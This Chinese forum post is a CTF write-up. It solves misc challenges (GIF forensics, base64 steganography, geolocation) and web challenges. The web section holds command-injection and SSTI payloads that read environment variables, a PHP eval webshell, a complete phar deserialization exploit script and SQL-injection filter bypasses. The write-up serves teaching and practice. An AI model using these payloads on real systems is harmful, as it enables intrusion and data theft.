ICLESCTF-web-misc-wp

打印 上一主题 下一主题

主题 947|帖子 947|积分 2841

misc

misc1


检察源码gif取证,那就是分析那一gif图片了,随波逐流直接gif分帧检察,在cc翻到


misc2 

此题乍一看不知道考啥,细致分析一下只有一张图片,也只能考图片隐写了,另存为010打开,看到敏感base64字符,解密得到fllag

misc3 


首先注意审题,不然有得受的。

图片打开,信息太多了,直接百度舆图搜索珠江城。 

开全景一看,没错了,看到了广州银行与创兴银行 

大致位置确定了,接下来就是找这个视角位置,首先这视角珠江城前方,且很高。 百度识图一下,发现小红书提到四季酒店,高德舆图一看,有可能,试一下果然是

flag{广东省-广州市-天河区-珠江新城珠江西路-5号} 
web

ping_server

直接抓环境变量env

还有高手直接盲抓一手环境里的变量$FLAG 
 ssti也能打,不过还是抓环境127.0.0.1%0a{{lipsum.__globals__.os.environ}}

 127.0.0.1%0acat /proc/self/environ(使用proc读环境)

Proc 目次在 CTF 中的使用-安全KER - 安全资讯平台 
当然也可以printenv
printenv下令 – 显示系统环境变量与值 – Linux下令大全(手册)
template_injection

首先fuzz一下,发现386的长度的被过滤

这里关键词绕过还好,重要是这个()与[]被过滤了就很难受,那只能使用os读环境变量了
  1. name={{lipsum.__globals__.os.environ}}
复制代码

upload-difficult

非预期

上传一句话木马<?php eval($_REQUEST['1']);?>,然后直接找flag即可
 


预期解法 

上传一句话木马后,发现了classes.php

  1. <?php
  2. class FileProcessor {
  3.     private $handler;
  4.    
  5.     public function __destruct() {
  6.         $this->handler->cleanup();
  7.     }
  8. }
  9. class TempFileHandler {
  10.     public $filename;
  11.    
  12.     public function cleanup() {
  13.         // 触发__toString的关键点
  14.         echo "Cleaning: " . $this->filename . "<br>";
  15.         if (file_exists((string)$this->filename)) {
  16.             unlink((string)$this->filename);
  17.         }
  18.     }
  19. }
  20. class Logger {
  21.     private $log_content;
  22.    
  23.     public function __toString() {
  24.         $flag = getenv('FLAG');
  25.         return base64_encode($flag);
  26.     }
  27. }
  28. class DatabaseConnection {
  29.     // 保留混淆类
  30.     public $query;
  31.    
  32.     public function execute() {
  33.         new PDO('sqlite::memory:');
  34.         return "Executed: ".$this->query;
  35.     }
  36. }
复制代码
就是打一个phar反序列化。
  1. <?php
  2. class FileProcessor {
  3.     public  $handler;
  4.    
  5.     public function __destruct() {
  6.         $this->handler->cleanup();
  7.     }
  8. }
  9. class TempFileHandler {
  10.     public $filename;
  11.    
  12.     public function cleanup() {
  13.         // 触发__toString的关键点
  14.         echo "Cleaning: " . $this->filename . "<br>";
  15.         if (file_exists((string)$this->filename)) {
  16.             unlink((string)$this->filename);
  17.         }
  18.     }
  19. }
  20. class Logger {
  21.     private $log_content;
  22.     public function __toString() {
  23.         $flag = getenv('FLAG');
  24.         return base64_encode($flag);
  25.     }
  26. }
  27. class DatabaseConnection {
  28.     // 保留混淆类
  29.     public $query;
  30.    
  31.     public function execute() {
  32.         new PDO('sqlite::memory:');
  33.         return "Executed: ".$this->query;
  34.     }
  35. }
  36. $a=new FileProcessor();
  37. $a->handler=new TempFileHandler();
  38. $a->handler->filename=new Logger();
  39. $phar = new Phar("iclesctf.phar"); // 创建一个名为 iclesctf.phar 的 Phar 文件
  40. $phar->startBuffering();       // 开始缓冲,以允许修改 Phar 文件
  41. $phar->setStub('<?php __HALT_COMPILER(); ?>'); // 设置 Phar 文件的存根(Stub),防止被误认为普通 PHP 脚本
  42. $phar->setMetadata($a);   // 将 Chunqiu 对象作为元数据存储在 Phar 文件中
  43. $phar->addFromString("exp.txt", "test"); // 向 Phar 文件中添加一个名为 exp.txt 的文件,内容为 "test"
  44. $phar->stopBuffering();
  45. ?>
复制代码
配置看配环境小记之phar.readonly=Off坑_uncaught unexpectedvalueexception: creating archiv-CSDN博客 

 ezsql


直接打万能密码,发现在password有sql注入 (过滤了or,直接大小写绕过)
看列数(过滤了一些关键词,与空格)

看回显点在2. 
 

这题看似sql,其实是sqlite. 
 SQLite sqlite_master_sqlite master-CSDN博客

 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

悠扬随风

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表